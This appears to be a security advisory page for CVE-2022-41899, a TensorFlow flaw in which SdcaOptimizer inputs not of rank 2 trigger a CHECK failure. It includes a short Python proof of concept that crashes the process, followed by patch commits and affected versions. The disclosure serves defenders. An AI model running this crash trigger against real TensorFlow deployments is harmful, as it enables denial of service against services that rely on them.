NetSight
medium4.8

CVE-2022-41899

`CHECK` fail via inputs in `SdcaOptimizer`

Impact

### Impact Inputs `dense_features` or `example_state_data` not of rank 2 will trigger a `CHECK` fail in [`SdcaOptimizer`](https://github.com/tensorflow/tensorflow/blob/master/tensorflow/core/kernels/sdca_internal.cc). ```python import tensorflow as tf tf.raw_ops.SdcaOptimizer( sparse_example_indices=4 * [tf.random.uniform([5,5,5,3], dtype=tf.dtypes.int64, maxval=100)], sparse_feature_indices=4 * [tf.random.uniform([5,5,5,3], dtype=tf.dtypes.int64, maxval=100)], sparse_feature_values=8 * [tf.random.uniform([5,5,5,3], dtype=tf.dtypes.float32, maxval=100)], dense_features=4 * [tf.random.uniform([5,5,5,3], dtype=tf.dtypes.float32, maxval=100)], example_weights=tf.random.uniform([5,5,5,3], dtype=tf.dtypes.float32, maxval=100), example_labels=tf.random.uniform([5,5,5,3], dtype=tf.dtypes.float32, maxval=100), sparse_indices=4 * [tf.random.uniform([5,5,5,3], dtype=tf.dtypes.int64, maxval=100)], sparse_weights=4 * [tf.random.uniform([5,5,5,3], dtype=tf.dtypes.float32, maxval=100)], dense_weights=4 * [tf.random.uniform([5,5,5,3], dtype=tf.dtypes.float32, maxval=100)], example_state_data=tf.random.uniform([5,5,5,3], dtype=tf.dtypes.float32, maxval=100), loss_type="squared_loss", l1=0.0, l2=0.0, num_loss_partitions=1, num_inner_iterations=1, adaptative=False,) ``` ### Patches We have patched the issue in GitHub commit [80ff197d03db2a70c6a111f97dcdacad1b0babfa](https://github.com/tensorflow/tensorflow/commit/80ff197d03db2a70c6a111f97dcdacad1b0babfa). The fix will be included in TensorFlow 2.11. We will also cherrypick this commit on TensorFlow 2.10.1, 2.9.3, and TensorFlow 2.8.4, as these are also affected and still in supported range. ### For more information Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. ### Attribution This vulnerability has been reported by Zizhuang Deng of IIE, UCAS

Affected packages

EcosystemPackageAffectedFixed in
piptensorflow< 2.8.42.8.4
piptensorflow-cpu< 2.8.42.8.4
piptensorflow-gpu< 2.8.42.8.4

Affected products

VendorProductAffected versions
GoogleTensorflow
before 2.8.4
from 2.9.0 before 2.9.3
Version 2.10.0

Weakness classification

References